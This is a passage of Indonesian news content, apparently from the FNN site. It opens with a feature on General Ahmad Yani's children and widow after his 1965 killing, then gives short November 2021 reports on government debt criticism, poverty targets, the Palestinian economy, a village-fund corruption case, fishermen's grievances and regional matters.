Sedangkan Kapten Sarwo Edhie sebagai komandan kompi. Resimen ini berada di bawah Divisi V yang bermarkas di Purwokerto. Panglima Divisinya adalah Kolonel R Soedirman, kelak menjadi Panglima Besar. Yani pula yang mempromosikan Sarwo menjadi Komandan Resimen Para Komando Angkatan Darat (RPKAD) walau ditentang beberapa pihak. Kelak keputusan Yani justru benar dan Sarwo menjadi komandan penumpas PKI. Tamu dan Trauma Yuni menceritakan, selama sekitar satu tahun, nyaris tamu tiada henti mendatangi rumah duka. Untuk menerima kedatangan tamu, mereka membuat seragam tentara khas Angkatan Darat. “Kami minta brevet wing para (terjun payung militer) kepada Om Sarwo untuk melengkapi seragam agar terlihat lebih gagah. Om Sarwo memberikan enam wing untuk kami berenam,” ujar Yuni. Jika para tamu datang, keenam anak Jenderal Yani menyambut dengan rasa hormat dengan berbaris rapi. Komandannya adalah Amelia yang punya bakat memimpin. Ia juga menjadi aktivis KAPPI (Kesatuan Aksi Pemuda Pelajar Indonesia) yang mengritisi kepemimpinan Presiden Sukarno. Dalam lubuk hatinya sesungguhnya Amelia protes terhadap negara atas gugurnya ayahandanya sebagai kusuma bangsa. “Dua kakak kami pada Desember 1965 melanjutkan pendidikan tinggi di Kota Bonn Jerman Barat. Sekaligus untuk melupakan trauma,” ujar Amel (72 tahun). Sehingga sebagai anak ketiga, Amelia menjadi yang tertua, ia memimpin adik-adiknya. Belakangan, Amel juga melanjutkan pendidikan tinggi ke Inggris. Hal ini setelah mendapatkan saran dari psikolog setelah Amel juga sakit-sakitan akibat trauma tidak bisa melupakan peristiwa terbunuhnya ayahanda di depan mata anak-anaknya. Kemudian Amel bekerja untuk UNDP (United Nations Development Programme). “Wah itu (Amelia) komandan galak memimpin adik-adiknya,” celetuk Untung, disambut gelak tawa kakak-kakaknya. “Harus galak supaya nurut semua,” jawab Amelia, tersenyum. Beruntung kedelapan anak dari Jenderal Yani mengenyam pendidikan tinggi semuanya. Awalnya di Universitas Indonesia (UI), kemudian melanjutkan ke luar negeri dan Kembali lagi ke UI. Bahasa Inggris menjadi menu wajib bagi keluarga ini. Bahkan ibunda mereka, Yayuk Ruliyah juga mengikuti kursus bahasa Inggris selama sekitar dua tahun. “Bapak ingin agar ibu bisa berkomunikasi dengan para istri atase pertahanan asing di Indonesia. Sehingga ibu mengikuti kursus Bahasa Inggris,” kenang Amel. Sedangkan Jenderal Yani menguasai tiga bahasa asing, Inggris, Belanda, dan Jepang. Misi dan Hukuman Yani Sebagai tentara, Yani pernah mengenyam pendidikan militer di Amerika Serikat dan Inggris selama 1,5 tahun pada 1954-1956. Usai sebagai Komandan Operasi 17 Agustus 1958-1959, Yani menjadi bintang baru militer Indonesia. Ia juga pernah menjalankan program ‘Misi Yani’ ke Eropa Timur untuk membeli alat utama sistem senjata (alutsista) pada 1960. Alutsista itu untuk persiapan merebut Irian Barat dari tangan Belanda. Misi rahasia Brigjen Yani ke sejumlah negara, termasuk Yusgoslavia. Belakangan Yugoslavia terpecah-belah pada tahun 1991 setelah runtuhnya rezim-rezim Komunis di Eropa Timur. Kroasia, dan Slovenia memilih merdeka. Kemudian diikuti pula oleh Bosnia dan Herzegovina pada 1992. Kelak nasib mengantarkan Amelia Yani menjadi Duta Besar RI di Bosnia dan Herzegovina pada 2016-2020. Jika remaja Amel aktif di KAPPI sejak di SMA Santa Ursula, maka kakak-kakaknya memilih organisasi mahasiswa yang berbeda-beda. “Ruli di HMI (Himpunan Mahasiswa Islam) dan ikut resimen mahasiswa. Emmi di GMNI (Gerakan Mahasiswa Nasional Indonesia),” ungkap Amel. Kini Ruli juga masih mengajar di Fakultas Psikologi di Universitas Jenderal Achmad Yani (Unjadi) di Cimahi, Bandung, Jawa Barat. Perguruan tinggi swasta (PTS) di bawah Yayasan Kartika Eka Paksi (YKEP) milik Angkatan Darat. PTS yang menggunakan nama ayahandanya. Ia menjadi dosen istimewa dengan usia 76 tahun namun masih energik. Sedangkan Emmi menikah dengan pengusaha Soebronto Laras. Sepulang dari Jerman, Emmi kembali melanjutkan pendidikan di UI. Kemudian berbisnis sebagai pemegang franchise sekaligus managing director restoran ayam goreng Church ‘s Texas Fried Chicken. Putri kedua Jenderal Yani ini meninggal pada awal Januari 2007, karena sakit komplikasi liver dan paru-paru yang dideritanya sejak lima bulan. Jika Ruli dan Emmi melanjutkan kuliah di Jerman, lain lagi dengan adik-adiknya. Amel, Juwita serta Yuni melanjutkan kuliah di Inggris. Sedangkan Nanik melanjutkan kuliah di Prancis. Sementara dua adiknya yang lelaki, Untung dan Edi melanjutkan pendidikan di Amerika Serikat. Kedua anak lelaki Jenderal Yani dibantu oleh sahabat ayahnya Kolonel Benson. Teman sama-sama Yani waktu melajutkan sekolah Staf dan Komando Angkatan Darat di Fort Leavenworth di Kansas. Benson juga sempat menjadi atase militer Amerika di Jakarta. “Kami sering berlatih bahasa Inggris walau masih ngawur-ngawuran di dalam mobil ketika mengikuti pesiar dengan bapak dan ibu ke puncak setiap Sabtu dan Minggu,” ujar Untung. Amel menceritakan, perjalanan ke puncak hampir dilakukan setiap pekan. Ayahnya menyetir mobil sendiri didampingi ibunya di depan, Sedangkan di belakangnya khususnya anak keenam, ketujuh, dan kedelapan. “Jadi Yuni, Untung dan Edi mendampingi bapak dan ibu satu mobil. Sementara yang lain berada dalam mobil lainnya berlima. Kemudian dikawal satu mobil ajudan dan pengawal serta mobil logistik,” ungkap Amel mengenang masa-masa indah bersama kedua orangtuanya. Suatu ketika, kenang Yuni. Ia Bersama Untung dan Edi mencoba ikut-ikutan orang di kampung kawasan Cipayung, Puncak. Menghisap rokok dari daun kawung, namun tidak ada tembakaunya. Aksi ikut-ikutan itu diketahui ayahnya. “Waduh saya dihukum harus menghisap pipa cangklong rokok tapi tanpa rokok dan tembakau, sampai bibir pegal. Itulah hukuman dari bapak agar anak-anaknya tidak merokok,” ujar Yuni. Akibat mengalami flu berkepanjangan, Brigjen Yani pada 1960 berhenti merokok. Karena itu ia tidak menginginkan anak-anaknya merokok sejak muda. “Hukuman dari bapak kepada anak laki-lakinya adalah menyentil telinga. Waduh sakit juga,” cerita Untung sambil terbahak-bahak. Keenam anaknya mengakui ayahnya tidak galak. Justru ibunya yang lebih keras terhadap anak-anaknya. Mungkin Jenderal Yani menyadari jika dirinya tidak bisa selalu menemani anak-anaknya jika sedang melaksanakan tugas operasi, kunjungan kerja keliling Indonesia maupun luar negeri, serta sekolah militer di negara lain. Istri Jenderal Jual Sembako Banyak yang tidak tahu bagaimana janda Achmad Yani itu harus menerima kenyataan pahit. Bukan lagi menjadi istri pejabat negara, Panglima Angkatan Darat. Ia harus menghidupi keluarganya, karena pension janda jenderal bintang empat hanya menerima sekitar Rp150 ribu, sejak akhir 1965. “Anak-anakku…. Kalian bukan lagi anak Menteri Panglima Angkatan Darat. Kini kalian adalah anak pedagang sembako. Begitu kira-kira pesan ibuku,” kata Ruli mengenang beratnya beban hidup keluarganya. Setiap hari sejak Senin hingga Jumat dari pagi hingga malam hari, ibunya mesti masuk pasar keluar pasar. Banting tulang untuk membiayai hidup keluarganya. Termasuk membiayai sekolah anak-anaknya. Menjual semacam bahan sembilan pokok dan barang-barang lainnya. Termasuk jual beli tanah di Kawasan Jakarta. Laba dari berdagang itu antara lain untuk menyekolahkan anak-anaknya. Mereka tidak lagi menerima fasilitas sekelas menteri dan jenderal. Semua fasilitas negara ditarik, baik rumah maupun kendaraan. Hanya menyisakan satu ajudan untuk keselamatan ibundanya. Semua sisa-sisa harta dijual agar bisa membeli rumah yang berada persis di depan rumah tempat peristiwa terbunuhnya Jenderal Yani di Jalan Lembang. “Ibu sulit melupakan rumah di Jalan Lembang ini. Karena darah bapak di lantai setelah ditembak pasukan Tjakrabirawa, langsung diusapkannya ke wajah dan tubuh ibu,” ungkap Amel. Hidup Zig Zag Ruli menceritakan, mungkin dia yang paling tahu bagaimana penderitaan sebagai anak kolong (tentara). Sebagai anak pertama, ia merasakan bagaimana ayahnya harus pindah ke sana kemari karena panggilan tugas. Termasuk tiba-tiba harus meninggalkan rumah dinas serta kendaraan dinas saat ayahnya harus sekolah ke Amerika dan Inggris. “Ibuku yang biasa naik mobil dinas sebagai istri komandan, tiba-tiba harus naik sepeda membonceng kami ke sekolah dan membawakan makanan bekal untuk anak-anak di sekolah saat di Tegal.” Begitulah pasang surut dan kehidupan zig zag begitu terasa. Tentunya yang utama kondisi setelah peristiwa G30S/PKI, Bagi Ruli dan adik-adiknya, paling menyakitkan dan tidak bisa dilupakan hingga saat ini adalah peristiwa dibunuhnya ayahanda. Bagi keluarga besar, Jenderal Yani tentulah pahlawan luar biasa dengan segala plus minusnya sebagai manusia. Pahlawan revolusi itu mendapatkan tempat terhormat dalam panggung sejarah Indonesia. Peti jenazahnya di atas panser dikawal jenderal senior Letjen GPH Djatikusumo, KSAD pertama. Hal ini menandakan penghormatan tertinggi TNI untuk segala bakti Yani “Een en militair” (seorang militer sampai ke tulang sumsumnya). Itulah pahlawan kusuma bangsa dari Jenar, Purworejo, Jawa Tengah. Jenderal yang memegang psinsip menolak Angkatan Kelima dan Nasakom (Nasional, Agama, dan Komunis), walau jabatan dan nyawa menjadi pertaruhannya.

KAMI Ingatkan Kembali Soal Gagal Bayar Utang Pemerintah

Jakarta, FNN - Koalisi Aksi Menyelamatkan Indonesia (KAMI) mengingatkan kembali tentang utang pemerintah yang semakin tak terkendali dan berpotensi gagal bayar. “Persoalan yang semakin berat adalah utang pemerintah termasuk BUMN dan BI yang semakin tidak terkendali, yang mana menurut Badan Pemeriksa Keuangan (BPK-RI) berpotensi gagal bayar. Utang pemerintah sesungguhnya sudah tidak terkendali sebelum datangnya pandemi Covid-19 demi membangun proyek-proyek infrastruktur yang tidak fisibel dan bukan merupakan prioritas kebutuhan rakyat”. Demikian pernyataan KAMI dalam Maklumat Kedua yang diterima redaksi FNN pada Jumat (12/11/2021). Maklumat Kedua itu ditandatangani Presidium Koalisi Aksi Menyelamatkan Indonesia Jenderal TNI (Purn) Gatot Nurmantyo, Prof Dr Rochmat Wahab, dan Prof Dr M Din Syamsuddin. Ketika utang semakin bertambah dengan alasan penanganan pandemi, pemerintah justru tidak dapat meningkatkan penerimaan negara melalui pendapatan pajak, salah satunya dari pemanfaatan sumber daya alam. Ini akibat para mafia sumber daya alam selama ini tidak membayar pajak sebagaimana mestinya, bahkan menimbulkan deforestasi dan kerusakan pada sumber daya alam yang mengancam keberlangsungan lingkungan hidup agar dapat dinikmati generasi mendatang. Ironisnya, pemerintah justru merencanakan menaikkan pendapatan pajak melalui sektor-sektor ekonomi yang akan menambah berat kehidupan masyarakat lapisan menengah-bawah, misalnya sembako, pendidikan dan kesehatan. Aspek lainnya menurut KAMI adalah peran ganda para pejabat di masa pandemi, yaitu berperan sebagai pengambil keputusan dan kebijakan penanganan pandemi sekaligus juga menjadi pelaku bisnis terkait obat Covid-19 dan jasa PCR. Ini menunjukkan kepada masyarakat bahwa para pejabat negara yang seharusnya menunjukkan kepedulian besar pada rakyat yang sedang kesulitan hidup, justru terlibat dalam konflik kepentingan. Oleh karena itu KAMI menyampaikan keprihatinan atas fakta-fakta tersebut yang amat mendesak untuk diperbaiki oleh pemerintah sebagai penyelenggara negara, sebagai berikut: Pertama, Cengkraman Oligarki Pemangsa (Predator Oligarch) dalam kehidupan negara telah membuat bangsa Indonesia terperosok dalam jurang kehancuran ekonomi. Bersatunya elit ekonomi dan politik telah menyebabkan ekonomi nasional telah diselenggarakan secara serampangan dan brutal. Seharusnya pemerintah mengembalikan tata kelola ekonomi nasional dan sumber daya alam demi sebesar-besarnya kemakmuran rakyat sesuai nilai-nilai sila ke-5 Pancasila dan Konstitusi. Kedua, Presiden telah gagal dalam mengelola jalanya pemerintahan karena kondisi demokrasi, ekonomi, HAM, serta praktek-praktek rente kebijakan dan korupsi semakin hari semakin memburuk tidak terkendali. Kepemimpinan nasional dalam menangani pandemi yang ditunjukkan kepada rakyat adalah kepemimpinan yang mengabaikan moral (moral disengagement) yang menunjukkan keserakahan di tengah derita pandemi. Selain itu kepemimpinan nasional tidak fokus memikirkan nasib rakyat, dan tidak memiliki kemampuan yang sesuai dengan tantangan dan beratnya persoalan hari ini untuk melakukan langkah-langkah perbaikan demi menyelamatkan Indonesia. Ketiga, dengan Mahkamah Konstitusi (MK) menerima Judicial Review atas UU No.2 tahun 2020 maka seharusnya pemerintah semakin transparan dan akuntabel, serta sungguh-sungguh melakukan pengusutan atas potensi-potensi kerugian negara dari perilaku korupsi maupun perilaku rente atas kebijakan-kebijakan penanganan pandemi. Dengan semangat demokrasi, pemerintah juga harus membuka ruang seluas-luasnya kepada publik untuk mengawasi penggunaan anggaran penanganan pandemi. Terkait dengan putusan MK bahwa status pandemi Covid-19 harus dinyatakan paling lambat akhir tahun ke-2 (akhir tahun 2021), maka anggaran COVID yang disusun berdasarkan UU Nomor 2 Tahun 2020 selanjutnya harus dengan persetujuan DPR. KAMI merasa sangat prihatin melihat kondisi kehidupan kebangsaan dan kenegaraan hari ini yang semakin buruk, dan jauh dari konsep negara demokrasi yang berlandaskan Pancasila. Oleh karena itu KAMI berharap mengajak seluruh anak bangsa untuk bangkit, terlibat, dan bertekad dengan sungguh-sungguh dalam upaya penyelamatan bangsa dari ancaman kerusakan moral dan kehancuran di semua sektor kehidupan bangsa. (sws)

Bappenas Menargetkan Angka Kemiskinan Turun 0,5 Persen pada 2022

Makassar, FNN - Badan Perencanaan Pembangunan Nasional (Bappenas) menargetkan angka kemiskinan bisa menurun 0,5 persen di tahun 2022 dari persentase kemiskinan saat ini yang mencapai 10,14 persen. "Tahun 2021 sebentar lagi akan lewat, jadi perkiraan kita itu bisa sekitar 9,6 persen di 2022, persentase angka kemiskinan menurun sekitar 0,5 persen dari angka sekarang 10,14 persen," ungkap Deputy Ketenagakerjaan dan Kependudukan Bappenas Drs Pungky Sumadi di Makassar, Jumat. Guna meningkatkan persentase kesejahteraan di Indonesia, salah satu upaya Bappenas yakni melakukan reformasi UMKM bekerjasama dengan Kementerian UMKM dalam rangka menyiapkan pasar produk UMKM. "Dalam meningkatkan pendapatan mereka terdapat dua hal utama yang kita utamakan yakni memberi ruang kepada mereka yang mau bekerja dan mau berusaha. Mereka (pelaku UMKM) yang berusaha kita buatkan perantaraan pasar," urai Pungky. Upaya lainnya yaitu perbaikan pendidikan dan pelatihan vokasi agar serapan tenaga kerja semakin meningkat. "Jadi pendidikan pelatihan vokasi itu kita buat sedemikian rupa sehingga pengusaha bisa merancang diklat sesuai dengan kebutuhan dunia industri, jadi tidak mudah," katanya. Menurut Pungky, strategi itu dirancang mulai dari sekarang sampai seterusnya, karena ini proses genting sehingga semakin cepat kita kurangi kemiskinan berarti ini akan semakin berhasil pemanfaatan fasilitas. Pungky Sumadi menjelaskan bahwa mengenai angka kemiskinan di Indonesia bisa dilihat dari segi yang lebih luas, misalnya pada program kesehatan, pendidikan, bantuan sosial, UMKM dan ketenagakerjaan, sebagai program unggul. Sementara terkait indikator peningkatan maupun penurunan angka kemiskinan bisa diketahui dari konsumsi barang dan jasa. "Dari konsumsi ini, kita bisa tahu, misalnya konsumsi rumah tangga itu naik nggak tahun yang akan datang dibandingkan sekarang. Kalau makin naik, berarti kita punya penghasilan untuk konsumsi barang dan jasa lebih banyak, gampangnya seperti itu," ujar Pungky menjelaskan. Dia menjelaskan bahwa sebelum terjadi COVID-19, pemerintah terus berupaya menurunkan kemiskinan dengan strategi yang dinilai sudah bagus, cuma karena munculnya pandemi, maka akhirnya persentase kemiskinan menjadi naik. Sebelumnya, Bappenas menargetkan persentase kemiskinan di bawah 9 persen di tahun 2021 ini, namun terjadi kenaikan di 2020 menjadi 10,19 persen dan terjadi penurunan menjadi 10,14 persen pada 2021 ini dengan total penduduk 27 juta jiwa lebih. "Nah inilah persoalan kita sekarang, jadi kita harus kerja lebih baik lagi supaya angka persentasenya cepat turun. Kita bukan hanya sekedar beri bantuan sosial saja," ujar dia. (mth)

PBB Soroti Urgensi Untuk Atasi Krisis Ekonomi Palestina

Yerusalem, FNN - Sebuah laporan baru dari PBB menyoroti urgensi untuk mengatasi krisis ekonomi dan keuangan yang berlanjut di Palestina dan mendesak respons terpadu untuk menyelesaikan situasi genting di sana. Laporan itu dikeluarkan oleh kantor Koordinator Khusus PBB untuk Proses Perdamaian Timur Tengah (UNSCO) dan akan disampaikan pada pertemuan Komite Penghubung Ad Hoc (AHLC) mendatang di Oslo pada 17 November 2021. UNSCO memperingatkan pendekatan sedikit demi sedikit untuk mengatasi berbagai masalah di wilayah pendudukan Palestina (OPT) saat ini hanya akan melanggengkan siklus manajemen krisis. Mereka menggambarkan situasi ekonomi dan fiskal di OPT mengerikan, dengan penurunan tajam dalam PDB per kapita pada 2020 menyusul stagnasi ekonomi di Tepi Barat pada tahun-tahun sebelumnya. Di Jalur Gaza, ekonomi terus mengalami penurunan selama beberapa dekade dan pengangguran masih tercatat tinggi, terutama di kalangan wanita. Koordinator Khusus PBB untuk Proses Perdamaian Timur Tengah Tor Wennesland mengatakan "Semakin sulit bagi Otoritas Palestina untuk menutupi pengeluaran minimumnya, apalagi melakukan investasi penting bagi ekonomi dan rakyat Palestina." Sebagaimana dikutip dari Antara, Jum'at, 12 November 2021. Mengingat parahnya krisis yang berlangsung hingga 2021, laporan itu menyerukan kepada Pemerintah Israel, Otoritas Palestina, dan masyarakat internasional untuk bekerja sama dalam aksi terpadu di bulan-bulan mendatang. Pertama, mengatasi situasi ekonomi dan fiskal yang dihadapi Otoritas Palestina dan memperkuat institusi Otoritas Palestina, dengan fokus jangka pendek pada pemberian layanan publik. Kedua, memperkuat upaya penghentian permusuhan yang dimulai pada 21 Mei 2021 antara Israel dan kelompok-kelompok militan di Gaza dan mendukung pembangunan ekonomi di Jalur Gaza. Ketiga, mendorong pemulihan ekonomi berkelanjutan dan inklusif yang meningkatkan pendapatan warga Palestina, termasuk perempuan, orang miskin, kaum muda, pengungsi, dan kelompok rentan lainnya. Laporan itu memperingatkan bahwa situasi di seluruh wilayah pendudukan Palestina sangat rapuh. Langkah-langkah lebih lanjut harus diambil untuk mengurangi ketegangan di Yerusalem Timur dan mempertahankan penghentian permusuhan di Gaza, kata laporan itu. Wennesland menekankan bahwa "perbaikan jangka pendek yang difokuskan untuk menstabilkan dan mengelola krisis baru-baru ini tidak cukup". Dia menambahkan perubahan kebijakan dari partai-partai dan reformasi tata kelola dan sosial ekonomi harus dilakukan untuk kemajuan yang berkelanjutan. Dia mencatat bahwa "tindakan dapat membantu membuka dukungan dari donor internasional dan sumber baru keuangan publik dan swasta". Namun, dia memperingatkan langkah-langkah sepihak yang memperburuk atau mendorong konflik akan membahayakan kemajuan maupun perbaikan situasi di wilayah pendudukan Palestina. (MD).

Kejari Pidie Tahan Mantan Kepala Desa Terkait Dana Desa

Banda Aceh, FNN - Mantan Keuchik Gampong Lingkok Busu berinisial AF (47) ditahan Kejaksaan Negeri (Kejari) Pidie karena diduga terlibat kasus tindak pidana korupsi dana desa (DD). Kajari Pidie Gembong Priyanto di Pidie, Jumat, menyebutkan AF salah satu ASN di lingkungan pemkab setempat. Dia resmi ditahan penyidik Kejari Pidie setelah cukup bukti atas dugaan keterlibatan kasus korupsi DD Gampong Lingkok Busu, Kecamatan Mutiara, Pidie. Berdasarkan hasil penghitungan inspektorat, kata Gembong, total kerugian keuangan negara dalam kasus tersebut sebesar Rp 400 juta. Ia menyebutkan jumlah kerugian itu merupakan akumulasi pengelolaan dana desa sejak 2017, 2018, hingga tahun anggaran 2019. "AF ini diduga terlibat penuh dalam pengelolaan dana desa Gampong Lingkok Busu, tanpa melibatkan perangkat lain," kata Gembong, sebagaimana dikutip dari Antara, Jum'at, 12 November 2021. Berdasarkan hasil pemeriksaan, tersangka diduga memegang langsung uang yang dicairkan bendahara, digunakan sendiri untuk keperluan desa, kemudian penggunaan dana tersebut tidak dibarengi dengan pertanggungjawaban. "Dugaan penyelewengan itu ada dari kegiatan fisik yang tidak cukup volume, ada juga dari pengadaan barang," katanya. Atas dugaan itu, AF disangkakan melanggar Pasal 2 dan pasal 3 UU Tipikor dengan ancaman hukuman maksimal 15 tahun pidana penjara. "Saat ini, Kejari Pidie juga sedang merampungkan penyelidikan dua kasus dugaan korupsi pengelolaan dana desa di Kabupaten Pidie dan akan dirilis dalam waktu dekat," kata Gembong. (MD).

Kunjungi Pati, Anis Matta dan Fahri Hamzah Terima Aspirasi dari Nelayan Juwana Seperti Ini

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta dan Wakil Ketua Umum Fahri Hamzah mengunjungi para nelayan di Tempat Pelelangan Ikan (TPI) Unit II Juwana, Kabupaten Pati, Jawa Tengah (Jateng), Kamis (11/11/2021) petang. Mereka melihat langsung proses pembongkaran ikan dari kapal nelayan, serta berdialog dengan para nelayan dan ketua asosiasi nelayan. Anis Matta dan Fahri Hamzah menerima permasalahan nelayan seperi birokasi perijinan yang berbelit-belit hingga 29 perijinan, pungutan dari pusat dan daerah, serta mahalnya harga BBM untuk melaut. Anis Matta mengatakan, nasib para nelayan saat ini sudah sangat menghawatirkan, sehingga perlu mendapatkan perhatian dari pemerintah. Apalagi, lanjutnya, nelayan ini bisa menjadi korban akibat adanya perubahan iklim dan punya potensi berdampak besar. "Saya sengaja berkunjung ke Juwana ini ingin ngobrol dengan nelayan. Mereka bisa menjadi korban dari perubahan iklim, karena itu regulasi kita harus memperhatikan sisi kesulitan dari nelayan," kata Anis Matta. Menurut dia, regulasi yang dibuat pemerintah saat ini memberatkan nelayan, belum lagi pungutan yang ditarik pemerintah pusat dan daerah. Selain itu, harga BBM untuk nelayan juga masih tinggi, yang semestinya mendapatkan subsidi dari pemerintah, sebab penghasilan mereka dari melaut menurun drastis. saat ini, karena berbagai faktor. "Kita sudah catat ada tiga permasalahan, yaitu birokrasi berbelit-belit, adanya pungutan, dan BBM mahal. Insya Allah akan kita sampaikan ke pemerintah. Semua regulasi yang memberatkan mereka, sebaiknya dipikirkan kembali oleh pemerintah," ujarnya. Fahri Hamzah menilai, nasib para nelayan di Jawa saat ini sangat memprihatinkan, karena mereka tidak punya pekerjaan lain, apalagi tanah yang berbeda dengan nelayan di wilayah lain. Mestinya, mereka dibebaskan dari segala perijinan dan pungutan pajak, bukannya dipersulit seperti sekarang. Pemerintah juga kurang memberikan faslitas pelelangan dan pengolahan ikan, di laut maupun di darat. "Pemerintahan ini lagi nyari duit, tapi nyali fulusnya jangan dari rakyat terus. Laut dipersusah, tapi tambang dipermudah. Ini tidak adil buat rakyat. Kita akan bombardir, kita akan demo, teriakan kekuasan itu harus melayani rakyat, jangan dibalik," kata Fahri. Ketua Himpunan Nelayan Seluruh Indonesia (HNSI) Pati, Rasmijan mengungkapkan, nasib nelayan mulai terpuruk sejak Menteri Kelautan dan Perikanan (Men-KP) dijabat oleh Susi Pudjiastuti Ketika dijabat Edhy Prabowo selaku Men-KP, nasib nelayan sudah mulai ada perbaikan, namun sayang terjerat kasus korupsi di KPK yang dinilai para nelayan berunsur 'politis'. Penggantinya, Wahyu Sakti Trenggono, bukannya melanjutkan perbaikan nasib nelayan yang telah dilakukan Men-KP sebelumnya, justru semakin memberatkan nasib nelayan. "Pungutan pajak dinaikkan jadi 10 persen, ditambah pungutan daerah juga naik. Lalu, surat perijinan harus dilengkapi semua ada 29 surat, masa berlakunya berbeda-beda. Belum lagi yang operasi di laut ada 5 institusi, kalau di darat kan jelas ada satu polisi, kalau di laut ada 5 yang bisa menangkap," kata Rasmijan. Rasmijan mengaku sudah bertemu Men-KP Wahyu Sakti Trenggono sebanyak dua kali dan dengan Ditjen Kementerian Kelautan dan Perikanan sebanyak tiga kali tidak membuahkan hasil. "Kita sudah mengajukan audiensi dengan Pak Jokowi (Presiden Joko Widodo, red) belum direspon. Penghasilan nelayan bukan dari gaji, tetapi bagi hasil. Kalau perijinan dipersulit, pungutan pajak dinaikan, BBM juga naik, kita penghasilannya dari mana," kata Ketua HNSI Kabupaten Pati ini. Anis Matta berharap para nelayan mulai terjun ke politik agar memberikan dapat memberikan kesejahteran dan kemakmuran bagi nelayan sendiri. Nelayan bisa mengutus perwakilannya untuk duduk di kursi legislatif di pusat dan daerah. "Kalau nelayan jadi Anggota DPR, DPRD maka nelayan sendiri yang bikin aturan, karena mereka yang lebih tahu nasib nelayan. Kita ingin nelayan mengutus perwakilannya di DPR, kita tidak ingin hanya dapat suara saja, tapi kita ingin ada perwakilan nelayan secara langsung," ujar Anis Matta. Dalam kunjungan ke Juwana ini, Anis Matta dan Fahri Hamzah juga didampingi Sekretaris Jenderal Partai Gelora Indonesia Mahfuz Sidik, Bendahara Umum Achmad Rilyadi, Ketua Bidang Politik dan Pemerintahan Sutriyono serta beberapa pengurus DPN lainnya, Ketua DPW Jateng Ahmadi dan Wakil Ketua DPW Purwadi. (sah)

Ketua DPD RI Dorong Indonesia Jadi Kiblat Busana Muslim Dunia

Surabaya, FNN - Ketua DPD RI AA LaNyalla Mahmud Mattalitti mendorong Indonesia agar menjadi kiblat busana muslim dunia, sebab memiliki potensi yang besar dikembangkan sebagai poros busana muslim global. "Potensi Indonesia cukup besar untuk menjadi kiblat busana muslim global. Kita memiliki banyak desainer yang mumpuni untuk itu," kata Ketua DPD RI LaNyalla di sela-sela kunjungan Dapil ke Surabaya, Jawa Timur, Jumat, 12 November 2021. Senator asal Jawa Timur itu mengatakan para desainer Tanah Air memiliki kreativitas yang mampu menembus keinginan masyarakat internasional. Selain itu Indonesia memiliki bahan baku yang cukup melimpah. "Ini menjadi kekuatan atau modal utama bagi Indonesia untuk menjadi poros busana muslim global," kata Ketua DPD RI LaNyalla Mattalitti, sebagaimana dikutip dari Antara. Sebagai negara dengan jumlah penduduk muslim terbesar di dunia, LaNyalla menilai hal tersebut realistis untuk diwujudkan. "Mari didorong Indonesia menuju pencapaian pertumbuhan produksi busana muslim yang dapat mengukuhkan posisi Indonesia sebagai pusat atau kiblat busana muslim dunia dan menjadi salah satu pemain besar di industri busana Muslim global," kata LaNyalla. Dikatakannya, kekuatan ini harus mampu menguatkan para pelaku usaha yang masih berada di level bawah, dengan didukung regulasi yang menumbuhkembangkan industri, akademisi, asosiasi, hingga desainer, agar dapat berkolaborasi untuk mengukuhkan kekuatan pasar busana muslim Indonesia. "Industri ini masih didominasi pelaku UKM. Pemerintah perlu mendorong dan memberikan dukungan agar Indonesia mampu mendapatkan daya tawar yang lebih baik di pasar global. Karena UKM sulit bersaing di pasar internasional jika berjalan sendiri-sendiri," ujarnya. Dikatakannya, langkah-langkah ini perlu disosialisasikan oleh pemerintah agar menjadi angin segar yang dapat menjadi gairah para pelaku UKM untuk dapat lebih produktif mengembangkan industrinya. Sebelumnya Menteri Perdagangan Muhammad Lutfi menyampaikan, ajang Embracing Jakarta Muslim Fashion Week semakin mengukuhkan posisi Indonesia sebagai pusat busana muslim dunia. Industri busana Muslim Indonesia terus tumbuh pesat dan menjadi salah satu pemain besar di industri busana muslim global. (MD).

Danrem 172 PWY: Presiden Jokowi Akan Tutup Peparnas XVI Papua

Jayapura, FNN - Komandan Korem 172/PWY Brigjen TNI Izak Pangemanan mengatakan Presiden Joko Widodo akan menutup Peparnas XVI Papua yang akan dilaksanakan di Stadion Mandala, Jayapura, Sabtu (13/11). Aparat keamanan sudah siap mengamankan kunjungan kerja Presiden selama di Jayapura, kata Danrem 172 Jayapura Brigjen TNI Izak Pangemanan kepada Antara, Jumat di Jayapura. Diakui, sekitar 1.700 prajurit TNI disiagakan untuk kunjungan Presiden yang akan menutup pelaksanaan Peparnas XVI. Sebelum menutup Peparnas, Presiden dijadwalkan menyaksikan final cabang olahraga bulu tangkis yang akan dilaksanakan di GOR Cendrawasih, Jayapura, jelas Brigjen TNI Izak Pangemanan. Peparnas XVI Papua yang berlangsung sejak Jumat (5/11) berlangsung di dua wilayah yakni Kabupaten dan Kota Jayapura dengan mempertandingkan 12 cabang olahraga dengan 638 nomor. Atlet yang mengikuti Peparnas XVI Papua sebanyak 1.985 atlet, dengan 740 ofisial memperebutkan 2.695 medali. (sws)

Kapuas Hulu Tunggu Persetujuan Kemendagri untuk TPP ASN Rp42 Miliar

Putussibau, Kapuas Hulu, FNN - Pelaksana tugas Kepala Badan Keuangan Daerah (BKD) Kapuas Hulu Azmi mengatakan pembayaran Tambahan Penghasilan Pegawai (TPP) Aparatur Sipil Negara (ASN) di Kapuas Hulu sebesar Rp42 miliar masih menunggu persetujuan dari Kementerian Dalam Negeri (Kemendagri). "ASN di Kapuas Hulu harap bersabar pencairan TPP masih menunggu surat persetujuan semester kedua dari Kemendagri dan semua syarat sudah dipenuhi," kata Azmi, di Putussibau Kapuas Hulu Kalimantan Barat, Jumat. Disampaikan Azmi, Pemerintah Kabupaten Kapuas Hulu telah menganggarkan pembayaran TPP pada Juli hingga Desember sebesar Rp42 miliar untuk 4.760 orang ASN di Kapuas Hulu. Menurut dia, semua syarat yang diminta Kemendagri sudah disampaikan dan masih dalam proses di Kemendagri. "Semoga dalam minggu depan surat persetujuan itu segera keluar, maka akan segera kita bayarkan untuk ASN," ucap Azmi. Ia berharap dengan adanya TPP tersebut dapat membantu memenuhi kebutuhan para ASN dan mesti dimanfaatkan sebaik mungkin. "Jadi kami minta ASN bersabar, jika cair nanti manfaatkan sebaik mungkin," pesan Azmi. (sws)

KPK Usut Peran Mantan Gubernur Kepri Terkait Kasus Bupati Bintan

